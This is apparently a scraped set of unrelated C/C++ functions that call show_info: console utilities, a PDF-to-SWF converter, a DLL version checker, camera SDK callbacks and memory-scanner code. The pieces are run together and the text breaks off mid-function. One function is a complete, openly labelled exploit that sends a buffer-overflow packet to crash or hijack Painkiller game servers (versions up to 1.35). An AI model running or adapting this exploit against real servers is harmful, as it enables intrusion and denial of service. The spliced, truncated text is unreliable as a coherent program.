int main(int argc, char **argv) { char *font, *type, *termmode; const char *opts; int dumpmod, dumpopt, opt; int reterr; vt4_mode = is_vt4(); init(); info.size = sizeof(info); if (ioctl(0, CONS_GETINFO, &info) == -1) err(1, "must be on a virtual console"); dumpmod = 0; dumpopt = DUMP_FBF; termmode = NULL; if (vt4_mode) opts = "b:Cc:fg:h:Hi:M:m:pPr:S:s:T:t:x"; else opts = "b:Cc:dfg:h:Hi:l:LM:m:pPr:S:s:T:t:x"; while ((opt = getopt(argc, argv, opts)) != -1) switch(opt) { case 'b': set_border_color(optarg); break; case 'C': clear_history(); break; case 'c': set_cursor_type(optarg); break; case 'd': if (vt4_mode) break; print_scrnmap(); break; case 'f': optarg = nextarg(argc, argv, &optind, 'f', 0); if (optarg != NULL) { font = nextarg(argc, argv, &optind, 'f', 0); if (font == NULL) { type = NULL; font = optarg; } else type = optarg; load_font(type, font); } else { if (!vt4_mode) usage(); /* Switch syscons to ROM? */ load_default_vt4font(); } break; case 'g': if (sscanf(optarg, "%dx%d", &vesa_cols, &vesa_rows) != 2) { revert(); warnx("incorrect geometry: %s", optarg); usage(); } break; case 'h': set_history(optarg); break; case 'H': dumpopt = DUMP_ALL; break; case 'i': show_info(optarg); break; case 'l': if (vt4_mode) break; load_scrnmap(optarg); break; case 'L': if (vt4_mode) break; load_default_scrnmap(); break; case 'M': set_mouse_char(optarg); break; case 'm': set_mouse(optarg); break; case 'p': dumpmod = DUMP_FMT_RAW; break; case 'P': dumpmod = DUMP_FMT_TXT; break; case 'r': get_reverse_colors(argc, argv, &optind); break; case 'S': set_lockswitch(optarg); break; case 's': set_console(optarg); break; case 'T': if (strcmp(optarg, "xterm") != 0 && strcmp(optarg, "cons25") != 0) usage(); termmode = optarg; break; case 't': set_screensaver_timeout(optarg); break; case 'x': hex = 1; break; default: usage(); } if (dumpmod != 0) dump_screen(dumpmod, dumpopt); reterr = video_mode(argc, argv, &optind); get_normal_colors(argc, argv, &optind); if (optind < argc && !strcmp(argv[optind], "show")) { test_frame(); optind++; } video_mode(argc, argv, &optind); if (termmode != NULL) set_terminal_mode(termmode); get_normal_colors(argc, argv, &optind); if (colors_changed || video_mode_changed) { if (!(new_mode_info.vi_flags & V_INFO_GRAPHICS)) { if ((normal_back_color < 8) && (revers_back_color < 8)) { set_colors(); } else { revert(); errx(1, "bg color for text modes must be < 8"); } } else { set_colors(); } } if ((optind != argc) || (argc == 1)) usage(); return reterr; }
void show (char *command_line) { unsigned int i,l,len,temp_int; unsigned long offset=0,temp_long; unsigned char temp_char,*ch_ptr; void *ptr; if (device_handle==NULL) return; show_pad_info.line=0; if (current_type==NULL) { wmove (show_pad,0,0); ch_ptr=type_data.u.buffer; for (l=0;l<file_system_info.block_size/16;l++) { wprintw (show_pad,"%08ld : ",offset); for (i=0;i<16;i++) { if (type_data.offset_in_block==offset+i) wattrset (show_pad,A_REVERSE); if (ch_ptr [i]>=' ' && ch_ptr [i]<='z') wprintw (show_pad,"%c",ch_ptr [i]); else wprintw (show_pad,"."); if (type_data.offset_in_block==offset+i) wattrset (show_pad,A_NORMAL); } wprintw (show_pad," "); for (i=0;i<16;i++) { if (type_data.offset_in_block==offset+i) wattrset (show_pad,A_REVERSE); wprintw (show_pad,"%02x",ch_ptr [i]); if (type_data.offset_in_block==offset+i) { wattrset (show_pad,A_NORMAL); show_pad_info.line=l-l % show_pad_info.display_lines; } wprintw (show_pad," "); } wprintw (show_pad,"\n"); offset+=16; ch_ptr+=16; } show_pad_info.max_line=l-1;show_pad_info.max_col=COLS-1; refresh_show_pad ();show_info (); } else { wmove (show_pad,0,0);l=0; for (i=0;i<current_type->fields_num;i++) { wprintw (show_pad,"%-20s = ",current_type->field_names [i]); ptr=type_data.u.buffer+offset; len = current_type->field_lengths[i]; switch (current_type->field_types[i]) { case FIELD_TYPE_INT: show_int(len, ptr); break; case FIELD_TYPE_UINT: show_uint(len, ptr); break; case FIELD_TYPE_CHAR: show_char(len, ptr); break; default: wprintw (show_pad, "unimplemented\n"); break; } offset+=len; l++; } current_type->length=offset; show_pad_info.max_line=l-1; refresh_show_pad ();show_info (); } }
int main(int argn, char *argv[]) { int ret; char buf[256]; int numfonts = 0; int t; char t1searchpath[1024]; int nup_pos = 0; int x,y; int one_file_per_page = 0; initLog(0,-1,0,0,-1,loglevel); /* not needed anymore since fonts are embedded if(installPath) { fontpaths[fontpathpos++] = concatPaths(installPath, "fonts"); }*/ #ifdef HAVE_SRAND48 srand48(time(0)); #else #ifdef HAVE_SRAND srand(time(0)); #endif #endif processargs(argn, argv); driver = gfxsource_pdf_create(); /* pass global parameters to PDF driver*/ parameter_t*p = device_config; while(p) { driver->setparameter(driver, p->name, p->value); p = p->next; } if(!filename) { fprintf(stderr, "Please specify an input file\n"); exit(1); } if (!info_only) { if(!outputname) { if(filename) { outputname = stripFilename(filename, ".swf"); msg("<notice> Output filename not given. Writing to %s", outputname); } } if(!outputname) { fprintf(stderr, "Please use -o to specify an output file\n"); exit(1); } } // test if the page range is o.k. is_in_range(0x7fffffff, pagerange); if (!filename) { args_callback_usage(argv[0]); exit(0); } char fullname[256]; if(password && *password) { sprintf(fullname, "%s|%s", filename, password); filename = fullname; } if(pagerange) driver->setparameter(driver, "pages", pagerange); /* add fonts */ for(t=0; t<fontpathpos; t++) { driver->setparameter(driver, "fontdir", fontpaths[t]); } if(info_only) { show_info(driver, filename); return 0; } char*u = 0; if((u = strchr(outputname, '%'))) { if(strchr(u+1, '%') || strchr(outputname, '%')!=u) { msg("<error> only one %% allowed in filename\n"); return 1; } if(preloader || viewer) { msg("<error> -b/-l/-B/-L not supported together with %% in filename\n"); return 1; } msg("<notice> outputting one file per page"); one_file_per_page = 1; char*pattern = (char*)malloc(strlen(outputname)+2); /* convert % to %d */ int l = u-outputname+1; memcpy(pattern, outputname, l); pattern[l]='d'; strcpy(pattern+l+1, outputname+l); outputname = pattern; } gfxdocument_t* pdf = driver->open(driver, filename); if(!pdf) { msg("<error> Couldn't open %s", filename); exit(1); } /* pass global parameters document */ p = device_config; while(p) { pdf->setparameter(pdf, p->name, p->value); p = p->next; } struct mypage_t { int x; int y; gfxpage_t*page; } pages[4]; int pagenum = 0; int frame = 1; int pagenr; for(pagenr = 1; pagenr <= pdf->num_pages; pagenr++) { if(is_in_range(pagenr, pagerange)) { char mapping[80]; sprintf(mapping, "%d:%d", pagenr, frame); pdf->setparameter(pdf, "pagemap", mapping); pagenum++; } if(pagenum == xnup*ynup || (pagenr == pdf->num_pages && pagenum>1)) { pagenum = 0; frame++; } } if(pagerange && !pagenum && frame==1) { fprintf(stderr, "No pages in range %s", pagerange); exit(1); } pagenum = 0; gfxdevice_t*out = create_output_device();; pdf->prepare(pdf, out); for(pagenr = 1; pagenr <= pdf->num_pages; pagenr++) { if(is_in_range(pagenr, pagerange)) { gfxpage_t* page = pages[pagenum].page = pdf->getpage(pdf, pagenr); pages[pagenum].x = 0; pages[pagenum].y = 0; pages[pagenum].page = page; pagenum++; } if(pagenum == xnup*ynup || (pagenr == pdf->num_pages && pagenum>1)) { int t; int xmax[xnup], ymax[xnup]; int x,y; int width=0, height=0; memset(xmax, 0, xnup*sizeof(int)); memset(ymax, 0, ynup*sizeof(int)); for(y=0; y<ynup; y++) for(x=0; x<xnup; x++) { int t = y*xnup + x; if(pages[t].page->width > xmax[x]) xmax[x] = (int)pages[t].page->width; if(pages[t].page->height > ymax[y]) ymax[y] = (int)pages[t].page->height; } for(x=0; x<xnup; x++) { width += xmax[x]; xmax[x] = width; } for(y=0; y<ynup; y++) { height += ymax[y]; ymax[y] = height; } if(custom_clip) { out->startpage(out,clip_x2 - clip_x1, clip_y2 - clip_y1); } else { out->startpage(out,width,height); } for(t=0; t<pagenum; t++) { int x = t%xnup; int y = t/xnup; int xpos = x>0?xmax[x-1]:0; int ypos = y>0?ymax[y-1]:0; msg("<verbose> Render (%d,%d) move:%d/%d\n", (int)(pages[t].page->width + xpos), (int)(pages[t].page->height + ypos), xpos, ypos); pages[t].page->rendersection(pages[t].page, out, custom_move? move_x : xpos, custom_move? move_y : ypos, custom_clip? clip_x1 : 0 + xpos, custom_clip? clip_y1 : 0 + ypos, custom_clip? clip_x2 : pages[t].page->width + xpos, custom_clip? clip_y2 : pages[t].page->height + ypos); } out->endpage(out); for(t=0; t<pagenum; t++) { pages[t].page->destroy(pages[t].page); } pagenum = 0; if(one_file_per_page) { gfxresult_t*result = out->finish(out); out=0; char buf[1024]; sprintf(buf, outputname, pagenr); if(result->save(result, buf) < 0) { return 1; } result->destroy(result); result=0; out = create_output_device();; pdf->prepare(pdf, out); msg("<notice> Writing SWF file %s", buf); } } } if(one_file_per_page) { // remove empty device gfxresult_t*result = out->finish(out); out=0; result->destroy(result); result=0; } else { gfxresult_t*result = out->finish(out); msg("<notice> Writing SWF file %s", outputname); if(result->save(result, outputname) < 0) { exit(1); } int width = (int)(ptroff_t)result->get(result, "width"); int height = (int)(ptroff_t)result->get(result, "height"); result->destroy(result); result=0; if(preloader || viewer) { const char*zip = ""; if(zlib) { zip = "-z"; } if(!preloader && viewer) { systemf("swfcombine %s -X %d -Y %d \"%s\" viewport=\"%s\" -o \"%s\"",zip,width,height, viewer, outputname, outputname); if(!system_quiet) printf("\n"); } if(preloader && !viewer) { msg("<warning> --preloader option without --viewer option doesn't make very much sense."); ret = systemf("swfcombine %s -Y %d -X %d %s/PreLoaderTemplate.swf loader=\"%s\" movie=\"%s\" -o \"%s\"",zip,width,height, SWFDIR, preloader, outputname, outputname); if(!system_quiet) printf("\n"); } if(preloader && viewer) { #ifdef HAVE_MKSTEMP char tmpname[] = "__swf__XXXXXX"; mkstemp(tmpname); #else char*tmpname = "__tmp__.swf"; #endif systemf("swfcombine \"%s\" viewport=%s -o %s", viewer, outputname, tmpname); systemf("swfcombine %s -X %d -Y %d -r %f %s/PreLoaderTemplate.swf loader=%s movie=%s -o \"%s\"",zip,width,height, getRate(preloader), SWFDIR, preloader, tmpname, outputname); systemf("rm %s", tmpname); } } } pdf->destroy(pdf); driver->destroy(driver); /* free global parameters */ p = device_config; while(p) { parameter_t*next = p->next; if(p->name) free((void*)p->name); p->name = 0; if(p->value) free((void*)p->value); p->value =0; p->next = 0; free(p); p = next; } if(filters) { free(filters); } return 0; }
vector<DOMAIN_TYPE> *top_k_tf_in_documents(vector<DOMAIN_TYPE> *documents, int k) { show_info("Number of documents is " << documents->size() << "."); output::start_timer("run/top_k_tf_dual_list_in_documents_complete"); output::start_timer("run/ttop_k_tf_dual_list_in_documents_aggregation_and_load"); aggregation *aggr = new map_aggregation(); //aggregation *aggr = new array_aggregation(input::T_PM + 1); for (vector<DOMAIN_TYPE>::iterator iter = documents->begin(); iter != documents->end(); ++iter) { storage *s, *s_counts; output::start_timer("run/top_k_tf_dual_list_in_documents_load"); if (input::omit_io) { s = pre_terms[*iter]; } else { s = storage::load("document_tf_list1", *iter, STORAGE_TYPE_LIST); } if (input::omit_io) { s_counts = pre_freqs[*iter]; } else { s = storage::load("document_tf_list2", *iter, STORAGE_TYPE_LIST); } output::stop_timer("run/top_k_tf_dual_list_in_documents_load"); vector<DOMAIN_TYPE> *terms = s->elements(); vector<DOMAIN_TYPE> *freqs = s_counts->elements(); auto freq_iter = freqs->begin(); for (auto term_iter = terms->begin(); term_iter != terms->end(); ++term_iter) { aggr->add(*term_iter, *(freq_iter++)); } } output::stop_timer("run/top_k_tf_dual_list_in_documents_aggregation_and_load"); show_info("Printing top-" << k << " documents:"); output::start_timer("run/top_k_tf_dual_list_in_documents_extract_top_k"); vector<pair<DOMAIN_TYPE, DOMAIN_TYPE>> *top_k = aggr->top_k(k); output::stop_timer("run/top_k_tf_dual_list_in_documents_extract_top_k"); for (vector<pair<DOMAIN_TYPE, DOMAIN_TYPE>>::iterator iter = top_k->begin(); iter != top_k->end(); ++iter) { show_info(" [" << (*iter).first << "] " << (*iter).second); } output::stop_timer("run/top_k_tf_dual_list_in_documents_complete"); return NULL; }
int main(int argc, char * argv[]) { int retCode = 0; int versionGbm = 0; /* On OS/2 the user can provide a fully qualified * name of the GBM.DLL which is checked alternatively * to the automatic lookup. */ char filename_gbm [GBMVER_FILENAME_MAX+1]; char filename_gbmdlg [GBMVER_FILENAME_MAX+1]; char filename_gbmrx [GBMVER_FILENAME_MAX+1]; char filename_gbmdlgrx[GBMVER_FILENAME_MAX+1]; char foundModuleNameGbm [GBMVER_FILENAME_MAX+1] = ""; char foundModuleNameGbmdlg [GBMVER_FILENAME_MAX+1] = ""; char foundModuleNameGbmrx [GBMVER_FILENAME_MAX+1] = ""; char foundModuleNameGbmdlgrx[GBMVER_FILENAME_MAX+1] = ""; HMODULE hModuleGbm = NULLHANDLE; HMODULE hModuleGbmdlg = NULLHANDLE; HMODULE hModuleGbmrx = NULLHANDLE; HMODULE hModuleGbmdlgrx = NULLHANDLE; if (argc == 2) { /* check if the user specified a trailing \ */ if (strlen(argv[1]) > GBMVER_FILENAME_MAX) { printf("Provided pathname is too long.\n"); return 1; } if (argv[1][strlen(argv[1])-1] == '\\') { sprintf(filename_gbm , "%sgbm.dll" , argv[1]); sprintf(filename_gbmdlg , "%sgbmdlg.dll" , argv[1]); sprintf(filename_gbmrx , "%sgbmrx.dll" , argv[1]); sprintf(filename_gbmdlgrx, "%sgbmdlgrx.dll", argv[1]); } else { sprintf(filename_gbm , "%s\\gbm.dll" , argv[1]); sprintf(filename_gbmdlg , "%s\\gbmdlg.dll" , argv[1]); sprintf(filename_gbmrx , "%s\\gbmrx.dll" , argv[1]); sprintf(filename_gbmdlgrx, "%s\\gbmdlgrx.dll", argv[1]); } } else { strcpy(filename_gbm , "gbm"); strcpy(filename_gbmdlg , "gbmdlg"); strcpy(filename_gbmrx , "gbmrx"); strcpy(filename_gbmdlgrx, "gbmdlgrx"); } printf("===============================================\n"); printf("Checking for \"%s\"...\n", filename_gbm); /* load GBM.DLL */ hModuleGbm = load_functions(filename_gbm, GBM_FUNCTION_TABLE, GBM_FUNCTION_TABLE_LENGTH, foundModuleNameGbm, GBMVER_FILENAME_MAX); if (hModuleGbm == NULLHANDLE) { printf("Not found or unresolved dependencies.\n\n"); return 1; } /* get version from GBM.DLL */ if (GBM_FUNCTION_TABLE[GBM_VERSION_ID].functionAddress == NULL) { printf("Is not valid.\n"); unload_functions(hModuleGbm, GBM_FUNCTION_TABLE, GBM_FUNCTION_TABLE_LENGTH); hModuleGbm = NULLHANDLE; return 1; } versionGbm = GBM_FUNCTION_TABLE[GBM_VERSION_ID].functionAddress(); printf("-> Found version %.2f\n", GET_GBM_VERSION(versionGbm)); /* show GBM.DLL info */ if (! show_info(GBM_FUNCTION_TABLE, GBM_FUNCTION_TABLE_LENGTH, foundModuleNameGbm, versionGbm)) { retCode = 1; unload_functions(hModuleGbm, GBM_FUNCTION_TABLE, GBM_FUNCTION_TABLE_LENGTH); hModuleGbm = NULLHANDLE; } else { printf("This GBM.DLL can be used with all applications\n" \ "developed for GBM.DLL version >=%.2f.\n\n", GET_GBM_VERSION(GBM_MIN_VERSION)); } printf("===============================================\n"); printf("Checking for \"%s\"...\n", filename_gbmdlg); /* load GBMDLG.DLL */ hModuleGbmdlg = load_functions(filename_gbmdlg, GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH, foundModuleNameGbmdlg, GBMVER_FILENAME_MAX); if (hModuleGbmdlg == NULLHANDLE) { printf("Not found or unresolved dependencies.\n"); unload_functions(hModuleGbm, GBM_FUNCTION_TABLE, GBM_FUNCTION_TABLE_LENGTH); hModuleGbm = NULLHANDLE; return 1; } /* show GBMDLG.DLL info */ if (! show_info(GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH, foundModuleNameGbmdlg, 0 /* no version info */)) { retCode = 1; unload_functions(hModuleGbmdlg, GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbm , GBM_FUNCTION_TABLE , GBM_FUNCTION_TABLE_LENGTH); hModuleGbmdlg = NULLHANDLE; hModuleGbm = NULLHANDLE; } printf("===============================================\n"); printf("Checking for \"%s\"...\n", filename_gbmrx); /* load GBMRX.DLL */ hModuleGbmrx = load_functions(filename_gbmrx, GBMRX_FUNCTION_TABLE, GBMRX_FUNCTION_TABLE_LENGTH, foundModuleNameGbmrx, GBMVER_FILENAME_MAX); if (hModuleGbmrx == NULLHANDLE) { printf("Not found or unresolved dependencies.\n"); unload_functions(hModuleGbmrx , GBMRX_FUNCTION_TABLE , GBMRX_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbmdlg, GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbm , GBM_FUNCTION_TABLE , GBM_FUNCTION_TABLE_LENGTH); hModuleGbmrx = NULLHANDLE; hModuleGbmdlg = NULLHANDLE; hModuleGbm = NULLHANDLE; return 1; } /* show GBMRX.DLL info */ if (! show_info(GBMRX_FUNCTION_TABLE, GBMRX_FUNCTION_TABLE_LENGTH, foundModuleNameGbmrx, 101 /* no public version info */)) { retCode = 1; unload_functions(hModuleGbmrx , GBMRX_FUNCTION_TABLE , GBMRX_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbmdlg, GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbm , GBM_FUNCTION_TABLE , GBM_FUNCTION_TABLE_LENGTH); hModuleGbmrx = NULLHANDLE; hModuleGbmdlg = NULLHANDLE; hModuleGbm = NULLHANDLE; } printf("===============================================\n"); printf("Checking for \"%s\"...\n", filename_gbmdlgrx); /* load GBMDLGRX.DLL */ hModuleGbmdlgrx = load_functions(filename_gbmdlgrx, GBMDLGRX_FUNCTION_TABLE, GBMDLGRX_FUNCTION_TABLE_LENGTH, foundModuleNameGbmdlgrx, GBMVER_FILENAME_MAX); if (hModuleGbmdlgrx == NULLHANDLE) { printf("Not found or unresolved dependencies.\n"); unload_functions(hModuleGbmdlgrx, GBMDLGRX_FUNCTION_TABLE, GBMDLGRX_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbmrx , GBMRX_FUNCTION_TABLE , GBMRX_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbmdlg , GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbm , GBM_FUNCTION_TABLE , GBM_FUNCTION_TABLE_LENGTH); hModuleGbmdlgrx = NULLHANDLE; hModuleGbmrx = NULLHANDLE; hModuleGbmdlg = NULLHANDLE; hModuleGbm = NULLHANDLE; return 1; } /* show GBMDLGRX.DLL info */ if (! show_info(GBMDLGRX_FUNCTION_TABLE, GBMDLGRX_FUNCTION_TABLE_LENGTH, foundModuleNameGbmdlgrx, 101 /* no public version info */)) { retCode = 1; } unload_functions(hModuleGbmdlgrx, GBMDLGRX_FUNCTION_TABLE, GBMDLGRX_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbmrx , GBMRX_FUNCTION_TABLE , GBMRX_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbmdlg , GBMDLG_FUNCTION_TABLE, GBMDLG_FUNCTION_TABLE_LENGTH); unload_functions(hModuleGbm , GBM_FUNCTION_TABLE , GBM_FUNCTION_TABLE_LENGTH); hModuleGbmdlgrx = NULLHANDLE; hModuleGbmrx = NULLHANDLE; hModuleGbmdlg = NULLHANDLE; hModuleGbm = NULLHANDLE; return retCode; }
LONG tps_status_event_call_back(LONG user_id, LONG state, char *resp, void *user) { int error = 0; tps_service_t *tps_srv; tps_service_basic_t *tps_basic = (tps_service_basic_t*)user; proxy_device_t *prx_dev; show_info("--------------> event_call_back[user id:%d, state:%d] <--------------\n", (int)user_id, (int)state); prx_dev = proxy_find_device_by_user_id(user_id, (const char*)tps_basic->tm.service_name); if (prx_dev) tps_srv = (tps_service_t*)prx_dev->sdk_srv; else return -1; switch (state) { case EVENT_CONNECTING://连接中 break; case EVENT_CONNECTOK://连接成功 break; case EVENT_LOGINOK://登录成功 state = TPS_LOGIN; goto LOGIN_STATE; case EVENT_CONNECTFAILED://连接失败 case EVENT_SOCKETERROR://sock失败 case EVENT_LOGINFAILED://登录失败 case EVENT_LOGIN_USERERROR://登录用户或密码错误 case EVENT_LOGOUT_FINISH://登录线程已退出主循环 case EVENT_LOGIN_RECONNECT://进行重新登录 case EVENT_LOGIN_HEARTBEAT_LOST://心跳丢失 state = TPS_OUTING; error = TPS_OUTING; goto LOGIN_STATE; case EVENT_STARTAUDIOOK://对讲启动成功 break; case EVENT_STARTAUDIOFAILED://对讲启动失败 break; case EVENT_STOPAUDIOOK://停止对讲成功 break; case EVENT_STOPAUDIOFAILED://停止对讲失败 break; case EVENT_SENDPTZOK://发送云台控制命令成功 break; case EVENT_SENDPTZFAILED://发送云台控制命令失败 break; case EVENT_SENDAUXOK://发送辅助通道成功 break; case EVENT_SENDAUXFAILED://发送辅助通道失败 break; case EVENT_UPLOADOK://上传文件成功 break; case EVENT_UPLOADFAILED://上传文件失败 break; case EVENT_DOWNLOADOK://下载成功 break; case EVENT_DOWNLOADFAILED://下载失败 break; case EVENT_REMOVEOK://删除文件成功 break; case EVENT_REMOVEFAILED://删除文件失败 break; case EVENT_SENDPTZERROR://云台操作失败 break; case EVENT_PTZPRESETINFO://预置点信息 break; case EVNET_PTZNOPRESETINFO://没有预置点 break; case EVENT_PTZALARM://告警信息 break; case EVENT_RECVVIDEOPARAM://视频参数返回 break; case EVENT_RECVAUDIOPARAM://音频参数返回 break; case EVENT_CONNECTRTSPERROR://请求实时视频失败 break; case EVENT_CONNECTRTSPOK://读求媒体流成功 break; case EVENT_RTSPTHREADEXIT://媒体流线程退出 break; case EVENT_URLERROR://解释连接媒体流URL时失败 break; case EVENT_RECVVIDEOAUDIOPARAM://收到音视频参数 break; case EVENT_STARTAUDIO_ISBUSY://设备对讲被占用 break; case EVENT_STARTAUDIO_PARAMERROR://对讲音频参数错误 break; case EVENT_STARTAUDIO_AUDIODDISABLED://设备不支持对讲 break; case EVENT_CONNECT_RTSPSERVER_ERROR://连接错误,可能是IP或端口错误 break; case EVENT_CREATE_RTSPCLIENT_ERROR://创建rtsp客户端错误 break; case EVENT_GET_RTSP_CMDOPTION_ERROR://连接rtsp服务器,返回错误 break; case EVENT_RTSP_AUTHERROR://认证失败,可能是用户或密码错 break; } proxy_device_unref(prx_dev); return -1; LOGIN_STATE: tps_set_state(tps_srv, (TPS_STATE_E)state, error); proxy_device_unref(prx_dev); return 0; }
int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, verlen = 0, j, join2len; u_short port = PORT; u_char buff[BUFFSZ + 1], password[32], server_chall[32], *p, *gamever = NULL, info[] = "\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00", bof[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" EIP, *join2[] = { "122.304", /* 0 = 1.6 */ "105.263", /* 1 = 1.3 */ "105.262", /* 2 = 1.2 */ "101.258", /* 3 = 1.1 */ NULL }; setbuf(stdout, NULL); fputs("\n" "Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow "VER"\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <host> [port(%d)]\n" "\n" " Return address will be overwritten with 0x%08lx.\n" " Only alpha-numeric return addresses are allowed\n" "\n", argv[0], port, *(u_long *)EIP); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("- request informations:\n", stdout); *(u_long *)(info + 3) = ~time(NULL); SEND(info, sizeof(info) - 1); RECV; close(sd); gamever = show_info(buff, len); if(!gamever) { fputs("\nError: no game version in the information reply\n\n", stdout); exit(1); } verlen = strlen(gamever) + 1; *password = 0x00; j = 0; join2len = strlen(join2[j]) + 1; printf("- try client script version %s\n", join2[j]); for(;;) { /* for passwords only */ sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("\n- send connection request packet\n", stdout); SEND(CONN, sizeof(CONN) - 1); RECV; strncpy(server_chall, buff + 5, sizeof(server_chall) - 1); server_chall[sizeof(server_chall) - 1] = 0x00; printf("- server challenge: %s\n", server_chall); p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) + sizeof(JOIN1) - 1; p = (u_char *)memcpy(p, gamever, verlen) + verlen; p = (u_char *)memcpy(p, join2[j], join2len) + join2len; p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key */ sizeof(bof); /* plus buffer-overflow */ if(!j) { /* new 1.6 protocol */ *p++ = 0x00; } else { /* old protocol */ *(u_long *)p = 0x00000000; p += 4; } len = strlen(password) + 1; memcpy(p, password, len); painkiller_pckpwd(p, server_chall); p += len; if(!j) *p++ = 0x01; /* new 1.6 protocol */ *(u_long *)p = time(NULL); p += 4; printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", *(u_long *)EIP); SEND(buff, p - buff); fputs("- wait some seconds...\n", stdout); if(timeout(sd) < 0) break; REALRECV; if(!buff[4]) { if(buff[5] == 1) { free(gamever); gamever = strdup(buff + 6); verlen = strlen(gamever) + 1; printf("\n- force game version to %s\n", gamever); if(buff[6 + verlen] == '?') { if(!join2[++j]) { fputs("\nError: this server uses an unknown client script version\n\n", stdout); exit(1); } join2len = strlen(join2[j]) + 1; printf("\n- try client script version %s\n", join2[j]); } close(sd); continue; } else if(buff[5] == 2) { if(!join2[++j]) { fputs("\nError: this server uses an unknown client script version\n\n", stdout); exit(1); } join2len = strlen(join2[j]) + 1; printf("\n- try client script version %s\n", join2[j]); close(sd); continue; } else if(buff[5] == 3) { fputs("- server is protected by password, insert it:\n ", stdout); fflush(stdin); fgets(password, sizeof(password) - 1, stdin); password[strlen(password) - 1] = 0x00; close(sd); continue; } else if(buff[5] == 13) { fputs("\n" "- the server is NOT vulnerable, it has replied with the error 13:\n" " Challenge response too long!\n", stdout); break; } printf("\nError: %s\n", buff + 6); exit(1); } fputs("- seems the server is not vulnerable since it is not crashed yet\n", stdout); break; } fputs("\n- check server:\n", stdout); SEND(info, sizeof(info) - 1); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); }
static int hbn_talk_open(struct service *srv, talk_info_t *talk, talk_handle_t *hdl, media_info_t *info) { hbn_service_t *hbn_srv; NMP_ASSERT(srv && talk); hbn_srv = (hbn_service_t*)srv; talk->handle = hbn_get_user_id(&hbn_srv->parm); if(talk->frm) { nmp_dealloc(talk->frm, sizeof(frame_t) + MAX_ENCODE_BUFFER_LEN); talk->frm = NULL; } talk->frm = (frame_t *)nmp_alloc0(sizeof(frame_t) + MAX_ENCODE_BUFFER_LEN); if(!talk->frm) { return -1; } if (HBN_LOGOUT == hbn_get_user_id(&hbn_srv->parm)) { show_warn("hbn device is disconnected.\n"); } else { // ¿ªÊ¼¶Ô½² LPHB_NET_VOICECOMPARAM lpParam = (LPHB_NET_VOICECOMPARAM)nmp_alloc0(sizeof(HB_NET_VOICECOMPARAM)); lpParam->dwSize = sizeof(HB_NET_VOICECOMPARAM); lpParam->pfnCallback = hbn_audio_data_callback; lpParam->pContext = talk; talk->pri_data = lpParam; talk->talk_handle = HB_NET_StartVoiceComMR(hbn_get_user_id(&hbn_srv->parm), lpParam); if(-1 != talk->talk_handle) { show_info("Start talk success! talk_handle = %d\n", (int)talk->talk_handle); } else { show_debug("Start talk failed!, error = %d, user_id = %d\n", (int)HB_NET_GetLastError(), (int )hbn_get_user_id(&hbn_srv->parm)); if(talk->frm) { nmp_dealloc(talk->frm, sizeof(frame_t) + MAX_ENCODE_BUFFER_LEN); talk->frm = NULL; } if(lpParam) { nmp_dealloc(lpParam, sizeof(HB_NET_VOICECOMPARAM)); lpParam = NULL; talk->pri_data = NULL; } return -1; } } return 0; }
bool handler__default(globals_t * vars, char **argv, unsigned argc) { uservalue_t vals[2]; uservalue_t *val = &vals[0]; bytearray_element_t *array = NULL; scan_match_type_t m = MATCHEQUALTO; char *ustr = argv[0]; char *pos; bool ret = false; USEPARAMS(); switch(vars->options.scan_data_type) { case ANYNUMBER: case ANYINTEGER: case ANYFLOAT: case INTEGER8: case INTEGER16: case INTEGER32: case INTEGER64: case FLOAT32: case FLOAT64: /* attempt to parse command as a number */ if (argc != 1) { show_error("unknown command\n"); goto retl; } /* detect a range */ pos = strstr(ustr, ".."); if (pos) { *pos = '\0'; if (!parse_uservalue_default(ustr, &vals[0])) goto retl; ustr = pos + 2; if (!parse_uservalue_default(ustr, &vals[1])) goto retl; m = MATCHRANGE; } else { if (!parse_uservalue_default(ustr, val)) goto retl; } break; case BYTEARRAY: /* attempt to parse command as a bytearray */ array = calloc(argc, sizeof(bytearray_element_t)); if (array == NULL) { show_error("there's a memory allocation error.\n"); goto retl; } if (!parse_uservalue_bytearray(argv, argc, array, val)) { show_error("unable to parse command `%s`\n", ustr); goto retl; } break; case STRING: show_error("unable to parse command `%s`\nIf you want to scan" " for a string, use command `\"`.\n", ustr); goto retl; break; default: assert(false); break; } /* need a pid for the rest of this to work */ if 